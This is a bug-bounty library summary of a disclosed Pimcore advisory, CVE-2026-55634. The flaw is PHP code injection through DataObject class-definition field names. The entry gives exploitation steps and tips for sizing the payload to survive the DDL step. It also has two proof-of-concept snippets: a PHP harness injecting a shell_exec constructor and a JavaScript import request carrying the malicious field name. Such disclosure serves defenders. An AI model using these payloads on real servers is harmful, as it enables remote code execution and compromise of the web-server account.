# Pimcore Vulnerable to Remote Code Execution via DataObject Class-Definition Field Name

Unvalidated DataObject class-definition field names are concatenated into generated PHP class source and ALTER TABLE DDL, letting an objects-permission user inject PHP for RCE.

- Payout: Research
- Severity: critical
- Program: Pimcore
- Found by: Yanchon918s
- Disclosed: 2026-08-28
- CVE: CVE-2026-55634
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-9x44-4gxf-8c25
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9x44-4gxf-8c25
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:php technique:chained technique:incomplete-fix technique:source-review vuln:rce

**Target:** DataObject class-definition import endpoint (Studio backend API) and class-file generator
**Root cause:** Field names from imported class definitions are concatenated raw into generated PHP property declarations (`protected $<name>;`) and into ALTER TABLE DDL with backtick string quoting, with no identifier allowlist; only an angle-bracket regex and a reserved-word denylist apply.
**Steps:**
1. Authenticate as a user holding only the `objects` permission and note a throwaway DataObject class id.
2. POST a class-definition JSON to `/pimcore-studio/api/class/definition/configuration-view/detail/{id}/import` with a field name like `x;function __construct(){touch("/tmp/pimcore_rce_poc");}//`.
3. Import succeeds; `saveClassInternal()` runs DDL then `generateClassFilesInternal()`, writing `var/classes/DataObject/<Class>.php` containing the injected code.
4. Load any object of that class so the generated class is autoloaded and `__construct()` fires, creating the sentinel file.
**How found:** Sibling sweep of CVE-2026-5394: the composite-index fix hardened only `CompositeIndexTrait`, prompting a review of other identifier sinks. Noticed the enum-option generator enforces an identifier allowlist while `FieldDefinitionPropertiesBuilder` concatenates `$key` raw, then traced the import path and confirmed the sink in a lab harness with the unmodified builder.
**Exploitation:** A content editor with the ordinary `objects` permission imports a crafted class definition; the generated PHP class body contains an attacker `__construct()` that runs shell commands whenever an object of the class is instantiated, giving code execution as the web-server user. The same field name also breaks out of backtick quoting in ALTER TABLE ADD COLUMN/ADD INDEX DDL.
**Escalation:** Payload must survive the DDL step: use a non-persistent field type or a ≤64-byte DDL-valid name so the ALTER TABLE does not abort before PHP generation; injected code re-executes on every object load.
**Insight:** When a vendor patches one identifier sink (composite indices), enumerate every other place identifiers reach codegen or DDL — and use a sibling component that already validates (the enum-option regex) as proof the missing check is a bug, not by design. Also check whether the DDL step aborts before the codegen step and size payloads to survive it.

## Proof of concept (copied exactly from the original report)

**Lab harness proving builder emits injected __construct**

```
$maliciousName = 'pwn; public function __construct(){ echo "INJECTED-RCE-RAN: ".trim(shell_exec("id")); } private $z'; $cd = new ClassDefinition([$maliciousName => new \stdClass()], 'PwnDemo', '99'); $props = (new FieldDefinitionPropertiesBuilder())->buildProperties($cd); file_put_contents('/tmp/PwnDemo.php', "<?php\nclass PwnDemo {\n".$props."}\n"); require '/tmp/PwnDemo.php'; new \PwnDemo();
```

**Browser console import PoC with malicious field name**

```
const CLASS_ID = "REPLACE_WITH_A_THROWAWAY_TEST_CLASS_ID";

const fieldName = 'x;function __construct(){touch("/tmp/pimcore_rce_poc");}//';

const def = { layoutDefinitions: { name: "pimcore_root", fieldtype: "panel", datatype: "layout", children: [ { name: fieldName, fieldtype: "input", datatype: "data", title: "poc" } ] } };

const fd = new FormData(); fd.append("file", new Blob([JSON.stringify(def)], { type: "application/json" }), "import.json");

fetch(`/pimcore-studio/api/class/definition/configuration-view/detail/${CLASS_ID}/import`, { method: "POST", credentials: "include", body: fd, }).then(r => r.json()).then(console.log);
```

